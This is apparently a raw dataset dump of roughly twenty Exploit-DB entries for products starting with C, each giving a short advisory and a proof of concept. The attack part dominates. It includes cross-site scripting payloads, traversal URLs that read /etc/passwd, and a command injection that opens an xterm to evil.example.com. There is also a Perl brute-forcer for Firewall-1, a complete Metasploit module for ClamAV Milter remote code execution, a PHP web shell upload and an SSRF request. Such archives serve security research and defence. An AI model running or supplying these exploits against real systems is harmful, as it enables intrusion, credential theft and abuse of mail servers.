deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21649
Description: Cacheflow CacheOS 3.1.x/4.0.x/4.1 - Unresolved Domain Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2002-07-24
Author: T.Suzuki

Exploit:
source: https://www.securityfocus.com/bid/5305/info

CacheOS is the firmware designed and distributed with CacheFlow web cache systems. It is maintained and distributed by CacheFlow.

User supplied data is not sanitized before being included in an unresolved host error page. An attacker may construct a link for a nonexistant subdomain of a valid site, and include malicious JavaScript. If followed, the supplied script code will execute within the context of the requested domain.

http://dummy.example.com/<script>EVIL CODE</script>
Exploit-DB #21212
Description: Cacheflow CacheOS 3.1/4.0 Web Administration - Arbitrary Cached Page Code Leakage
Type: remote
Platform: multiple
Date: 2002-01-08
Author: Bjorn Djupvik

Exploit:
source: https://www.securityfocus.com/bid/3841/info

CacheOS is the firmware designed and distributed with CacheFlow web cache systems. It is maintained and distributed by CacheFlow.

When a user connects to the system via the web administration interface on port 8081, and issues an HTTP standard-compliant request to the system, the system will prevent the user from accessing any information managed by the cache server. However, a user connecting to the system and issuing a request without the HTTP version request type (i.e. HTTP/1.0 or HTTP/1.1) multiple times may gain access to sensitive information. The cache server will leak information such as parts of URLs being accessed by a client currently connected to the cache server.

This problem makes it possible for a user to gather information, and potentially gain access to passwords, userids, or other potentially sensitive information. 

localhost:~# telnet cacheflow 8081
Trying xxx.xxx.xxx.xxx...
Connected to cacheflow.
Escape character is '^]'.
GET /Secure/Local/console/cmhome.htm

HTTP/1.0 404-Not Found

<HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The
request
ed URL "/Secure/Local/console/cmhome.htm

Easp&o=0&sv=za5cb0d78&qid=E2BCA8F417ECE94DBDD27B75F951FFDA&uid=2c234acbec234
acbe
&sid=3c234acbec234acbe&ord=1" was not found on this
server.<P></BODY>Connection
closed by foreign host.
Exploit-DB #23137
Description: Cacheflow CacheOS 4.1.10016 - HTTP HOST Proxy
Type: remote
Platform: multiple
Date: 2003-09-10
Author: Tim Kennedy

Exploit:
source: https://www.securityfocus.com/bid/8584/info

Malicious HTTP HOST header field can be used on CacheOS to tunnel arbitrary TCP connections through a HTTP request.

It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.

GET / HTTP/1.1
HOST: mailserver.example.com:25
HELO .
mail from: spammer@example.com
rcpt to: target@example.com
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer
Exploit-DB #33786
Description: Cafu 9.06 - Multiple Remote Vulnerabilities
Type: remote
Platform: multiple
Date: 2010-03-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/38897/info

Cafu is prone to a remote NULL pointer dereference vulnerability and a remote client format string vulnerability.

Successful exploits may allow an attacker to execute arbitrary code within the context of the affected application or crash the affected application, resulting in a denial-of-service condition.

Cafu 9.06 and prior are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33786.zip
Exploit-DB #30972
Description: Camtasia Studio 4.0.2 - 'csPreloader' Remote Code Execution
Type: remote
Platform: multiple
Date: 2008-01-02
Author: Rich Cannings

Exploit:
source: https://www.securityfocus.com/bid/27107/info

Camtasia Studio is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NOTE: This vulnerability was initially considered a cross-site scripting issue, but further analysis reveals that this is a remote code-execution vulnerability.

http://www.example.com/Example_controller.swf?csPreloader=http://www.example2.com/DoKnowEvil.swf%3f
Exploit-DB #20635
Description: caucho Technology resin 1.2 - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-02-16
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2384/info

It is possible for a remote user to gain read access to directories and files outside the root directory of a machine running Resin. Requesting a specially crafted URL composed of '/..' or '/...' sequences will disclose an arbitrary directory.

http://target/\../readme.txt
Exploit-DB #20722
Description: Caucho Technology Resin 1.2/1.3 - JavaBean Disclosure
Type: remote
Platform: multiple
Date: 2001-04-03
Author: lovehacker

Exploit:
source: https://www.securityfocus.com/bid/2533/info

A specially constructed HTTP request could enable a remote attacker to gain read access to any known JavaBean file residing on a host running Resin.

On Resin webservers, JavaBean files reside in a protected directory, '/WEB-INF/classes/'. Unfortunately, this protection can be bypassed due to an input validation bug in the Resin webserver. If an attacker inserts the substring '.jsp' before the path of the JavaBean in the request, the webserver will incorrectly interpret the request and serve the contents of the requested JavaBean to the client.

An attacker exploiting this may be able to gain sensitive information contained in the JavaBeans. 

http://target/.jsp/WEB-INF/classes/filename
Exploit-DB #19242
Description: CdomainFree 2.4 - Remote Command Execution
Type: remote
Platform: multiple
Date: 1999-06-01
Author: Salvatore Sanfilippo -antirez-

Exploit:
source: https://www.securityfocus.com/bid/304/info

A vulnerability in a CGI program part of CdomainFree allows remote malicious users to run any executable already existing to the machine.

The vulnerability is in the whois_raw.cgi program. This CGI passes user input to the shell without proper filtering. None of the Cdomain commercial version (e.g. CdomainPro) are vulnerable as they connect the the whois servers directly. 

http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20evil.example.com:0
Exploit-DB #23309
Description: Centrinity FirstClass HTTP Server 7.1 - Directory Disclosure
Type: remote
Platform: multiple
Date: 2003-10-28
Author: Richard Maudsley

Exploit:
source: https://www.securityfocus.com/bid/8920/info

It has been reported that Centrinity FirstClass HTTP server may be prone to an information disclosure vulnerability that may allow a remote attacker to disclose listings for server root and user web directories on a vulnerable system. This issue may be exploited by appending "/Search" to the URL of the server which directs the user to a file search form. The attacker may then be able to access information about the directories by selecting all options in the form and leaving the filename field blank.

** Conflicting reports have been submitted stating that universal access to server root and user web directories is granted by default in order to accommodate ease of use. No sensitive information is placed in these directories by default. If needed, users may protect private portions of the web site by employing FirstClass' ACL protected containers called conferences. It has also been reported that the search utility may be easily disabled by accessing "Unauthenticated Users" privilege group located in the "Groups" folder.

Successful exploitation of this issue result in disclosure of sensitive information which may be useful in further attacks against the system.

This problem has been reported to exist in FirstClass 7.1. It is possible that other versions are affected as well. 

http://www.example.com/Search
http://www.example.com/~Account%20Name/Search
Exploit-DB #19732
Description: Check Point Software Firewall-1 3.0 Script - Tag Checking Bypass
Type: remote
Platform: multiple
Date: 2000-01-29
Author: Arne Vidstrom

Exploit:
source: https://www.securityfocus.com/bid/954/info

Firewall-1 includes the ability to alter script tags in HTML pages before passing them to the client's browser. This alteration invalidates the tag, rendering the script unexecutable by the browser. In version 3, this function can be bypassed by adding an extra opening angle bracket. The tag will be left unmodified, and the browser will be able to execute the contained script. Hostile script could lead to a remote compromise of the client system.

Firewall-1 version 4 will alter the tag as expected. 

<html>
<<script language="javascript">
alert("<<script> tag succesfully passed!")
</script>
Click <A HREF="/vdb/bottom.html?section=exploit&vid=954">here</A> to return to vulnerability listing.
</html>
Exploit-DB #20215
Description: Check Point Software Firewall-1 3.0/1 4.0/1 4.1 - Session Agent Dictionary Attack (1)
Type: remote
Platform: multiple
Date: 2000-08-15
Author: Nelson Brito

Exploit:
source: https://www.securityfocus.com/bid/1662/info

A vulnerability exists in all versions of the Check Point Session Agent, part of Firewall-1. Session Agent works in such a way that the firewall will establish a connection back to the client machine. Upon doing so, it will prompt for a username, and if the username exists, a password. Upon failure, it will reprompt indefinitely. This allows for a simple brute force attack against the username and password.

#!/usr/bin/perl -w
#
# File  :       brute-fw1-agent.pl
# Author:       Nelson Brito<nelson@secunet.com.br || nelson@sekure.org>
#
# Untested code, use on your own risc.
#
use Socket;

$c = 0; $port = 261; #$proto = getprotobyname('tcp');

socket(FAGENT, PF_INET, SOCK_STREAM, getprotobyname("tcp"))     or die
"socket:$!";
setsockopt(FAGENT, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))      or die
"setsockopt: $!";
bind(FAGENT, sockaddr_in($port, INADDR_ANY))                    or die
"bind: $!";
listen(FAGENT, SOMAXCONN)                                       or die
"listen: $!";

open(SDI, "users") or die "open: $!\n";
until(eof(SDI)){
        $user = <SDI>; chomp($user);
        next if ($user=~/^\s*#/);
        next if ($user=~/^\s*$/);
        push @users, $user;
}
close(SDI);

while(accept(MODULE, FAGENT)){
LINE:   $c++;
        print STDOUT "[+] Hii... I'm on TV $c times!\n";
        recv(MODULE, $target, 1024, 0);
        if($target=~/^331/i){
                chomp($users[0]);
                send(MODULE, "$users[0]\n", 0);
                recv(MODULE, $target, 1024, 0);
                if($target=~/^220/){
                        recv(MODULE, $target, 1024, 0);
                        if($target=~/^530/){
                                shift @users; goto LINE;
                        }else{
                                die "[-] Unknow code. What happened?\n";
                        }
                }elsif($target=~/^331/){
                        print STDOUT "[+] The $users[0] username is right!\n";
                }else{
                        die "[-] Uknow return code. What happened?\n";
                }
        }else{
                die "[-] Unknow return code. What happened?\n";
        }

}
Exploit-DB #25072
Description: CitrusDB 0.1/0.2/0.3 Credit Card Data - Remote Information Disclosure
Type: remote
Platform: multiple
Date: 2005-01-31
Author: Maximillian Dornseif

Exploit:
source: https://www.securityfocus.com/bid/12402/info

A remote information disclosure issue affects CitrusDB. This issue is due to a design problem that grants unauthorized users the ability to export sensitive data.

An attacker may leverage this issue to gain access to sensitive information including credit card data. 

[path to CitrusDB]/io/newfile.txt

where [path to CitrusDB] is the path relative to the web root.
Exploit-DB #9913
Description: ClamAV Milter 0.92.2 - Blackhole-Mode (Sendmail) Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2007-08-24
Author: patrick

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Smtp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
			'Description'    => %q{
					This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
					(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
					When implemented with black hole mode enabled, it is possible to execute
					commands remotely due to an insecure popen call.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2007-4560' ],
					[ 'OSVDB', '36909' ],
					[ 'BID', '25439' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => 
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Aug 24 2007',
			'DefaultTarget'  => 0))

			register_options(
			[
				OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
			], self.class)
	end

	def exploit

		# ClamAV writes randomized msg.###### temporary files in a randomized
		# /tmp/clamav-#######################/ directory. This directory is
		# the clamav-milter process working directory.
		#
		# We *can* execute arbitrary code directly from 'sploit', however the
		# SMTP RFC rejects all payloads with the exception of generic CMD
		# payloads due to the IO redirects. I discovered that the 'From:'
		# header is written to this temporary file prior to the vulnerable
		# call, so we call the file itself and payload.encoded is executed.

		sploit = "sh msg*" # Execute the clamav-milter temporary file.

		# Create the malicious RCPT TO before connecting,
		# to make good use of the Exploit::Smtp support.

		oldaddr = datastore['MAILTO']
		newaddr = oldaddr.split('@')

		datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"

		connect_login

		sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
		sock.put(".\r\n")

		# Clean up RCPT TO afterwards

		datastore['MAILTO'] = oldaddr

		handler
		disconnect
	end

end
Exploit-DB #31942
Description: Classic FTP 1.02 - 'LIST' Directory Traversal
Type: remote
Platform: multiple
Date: 2008-06-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29846/info

Classic FTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Classic FTP 1.02 for Microsoft Windows is vulnerable; other versions may also be affected. 

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n
/../../../../../../../../../testfile.txt\r\n
Exploit-DB #25708
Description: Clever's Games Terminator 3: War of the Machines 1.16 Server - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2005-05-26
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13776/info

Terminator 3 : War of the Machines server is prone to a buffer overflow vulnerability that may permit remote attackers to execute arbitrary code on a vulnerable system, this may facilitate unauthorized access. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into sensitive process buffers.

Terminator 3: War of the Machines version 1.16 is affected by this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25708.zip
Exploit-DB #52435
Description: ClipBucket 5.5.0 - Arbitrary File Upload
Type: remote
Platform: multiple
Date: 2025-09-16
Author: Mukundsinh Solanki (r00td3str0y3r)

Exploit:
# Exploit Title: ClipBucket 5.5.0 - Arbitrary File Upload

# Google Dork: N/A

# Date: 2025-09-11

# Exploit Author: Mukundsinh Solanki (r00td3str0y3r)

# Vendor Homepage: https://clipbucket.com

# Software Link: https://github.com/MacWarrior/clipbucket-v5

# Version: <= 5.5.0

# Tested on: Ubuntu 20.04 LTS, PHP 7.4

# CVE: CVE-2025-55912

## Vulnerability Description:
ClipBucket <= 5.5.0 suffers from an unauthenticated arbitrary file upload
vulnerability in `upload/actions/photo_uploader.php`. Missing access
controls and insufficient validation of uploaded files allow an attacker to
upload a crafted PHP file and execute it remotely, leading to full remote
code execution (RCE).

## PoC Request:

POST /upload/actions/photo_uploader.php HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----BOUND

------BOUND
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------BOUND--


The file is uploaded without authentication. The attacker can then access
it:


http://victim.com/files/photos/shell.php?cmd=id


## Impact:
- Unauthenticated remote code execution (RCE)
- Full compromise of target application and underlying server

Regards,
Mukundsinh Solanki
[PII_REDACTED]51
Exploit-DB #52434
Description: ClipBucket 5.5.2 Build #90 - Server-Side Request Forgery (SSRF)
Type: remote
Platform: multiple
Date: 2025-09-16
Author: Mukundsinh Solanki (r00td3str0y3r)

Exploit:
# Exploit Title: ClipBucket 5.5.2 Build #90 - Server-Side Request Forgery (SSRF)
# Google Dork: N/A
# Date: 2025-09-11
# Exploit Author: Mukundsinh Solanki (r00td3str0y3r)
# Vendor Homepage: https://clipbucket.com
# Software Link: https://github.com/MacWarrior/clipbucket-v5
# Version: 5.5.2 Build #90
# Tested on: Ubuntu 20.04 LTS, PHP 7.4
# CVE: CVE-2025-55911

## Vulnerability Description:
An authenticated user with regular permissions can exploit a Server-Side
Request Forgery (SSRF) vulnerability via the `file` parameter in
`actions/file_downloader.php`. By supplying a crafted URL, attackers can
force the server to make arbitrary HTTP requests to internal services or
external systems. This can lead to internal network enumeration, data
exfiltration, or pivoting attacks.

## PoC Request:

POST /upload/actions/file_downloader.php HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=validsession

file=http://127.0.0.1:3306/test.mp4




The server attempts to connect to the internal service (`127.0.0.1:3306`),
demonstrating SSRF.

## Impact:
- Internal service enumeration
- Potential metadata leakage
- Pivoting to internal systems


Regards,
Mukundsinh Solanki
[PII_REDACTED]51
Exploit-DB #19828
Description: Cobalt RaQ 2.0/3.0 - Apache .htaccess Disclosure
Type: remote
Platform: multiple
Date: 2000-03-31
Author: Paul Schreiber

Exploit:
source: https://www.securityfocus.com/bid/1083/info

The default configuration of Cobalt Raq2 and Raq3 servers allows remote access to .htaccess files. This could lead to unauthorized retrieval of username and password information for restricted portions of a website hosted on the server. 

Make a regular GET request, specifying an .htaccess file ie:
http ://target/path/.htaccess
Exploit-DB #24268
Description: Code-Crafters Ability Mail Server 1.18 - 'errormsg' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-07-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10695/info

Ability Mail Server is reported prone to multiple vulnerabilities that may allow a remote attacker to carry out cross-site scripting and denial of service attacks.

The server is prone to a cross-site scripting vulnerability that may allow an attacker to execute arbitrary HTML and script code in the browser of a vulnerable user.

It is reported that the mail server is also prone to a denial of service vulnerability. This issue presents itself when an attacker establishes about 150-200 connections to various services such as SMTP, POP3, View FeaturesIMAP4, WebMail etc.

These issue are reported to affect Ability Mail Server version 1.18, however, other versions may be affected as well.

http://www.example.com/_error?id=[id]&errormsg=<script>alert(document.cookie)</script>
Exploit-DB #34691
Description: CollabNet Subversion Edge Log Parser - HTML Injection
Type: remote
Platform: multiple
Date: 2010-09-21
Author: Sumit Kumar Soni

Exploit:
source: https://www.securityfocus.com/bid/43378/info

CollabNet Subversion Edge is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

CollabNet Subversion Edge 1.2.0 is vulnerable; other versions may also be affected. 

The following example request is available:
GET /csvn/login</pre><script>alert('pwndd!!!!');</script> HTTP/1.0
Exploit-DB #21444
Description: Critical Path InJoin Directory Server 4.0 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2002-05-10
Author: Nomad Mobile Research Centre

Exploit:
source: https://www.securityfocus.com/bid/4717/info

Critical Path provides an LDAP (Lightweight Directory Access Protocol) Directory Server called InJoin. InJoin Directory is provided for Microsoft Windows operating systems and Unix variants.

HTML code is not filtered from URL parameters that are used as output in the web-based administrative interface. This enables an attacker to inject malicious script code into a link to the administrative interface. When this link is visited by an authenticated administrative user, the attacker's script code will be executed in the browser of that user, in the security context of the site running the interface.

Successful exploitation may allow the attacker to steal cookie-based authentication credentials from the administrative user.

http://ip:1500/DSASD&DSA=1&LOCID=<script>^Ã?.</script>&FRAME=Y
http://ip:1500/OBCR&OC=<script>^Ã?.</script>&FRAME=Y
Exploit-DB #21445
Description: Critical Path InJoin Directory Server 4.0 - File Disclosure
Type: remote
Platform: multiple
Date: 2002-05-10
Author: Nomad Mobile Research Centre

Exploit:
source: https://www.securityfocus.com/bid/4718/info

Critical Path provides an LDAP (Lightweight Directory Access Protocol) Directory Server called InJoin. InJoin Directory Server is provided for Microsoft Windows operating systems and Unix variants. iCon is the administrative web interface for the inJoin Directory Server.

An attacker with a valid administrative username and password is able to view any file on the system that is accessible to the owner of the iCon process. The contents of arbitrary webserver readable files can be disclosed by supplying their path as the log entry parameter when viewing log entries. 

http://ip:1500/CONF&LOG=/etc/passwd&NOIH=no&FRAMES=y

Here the attacker is able to view the contents of /etc/passwd.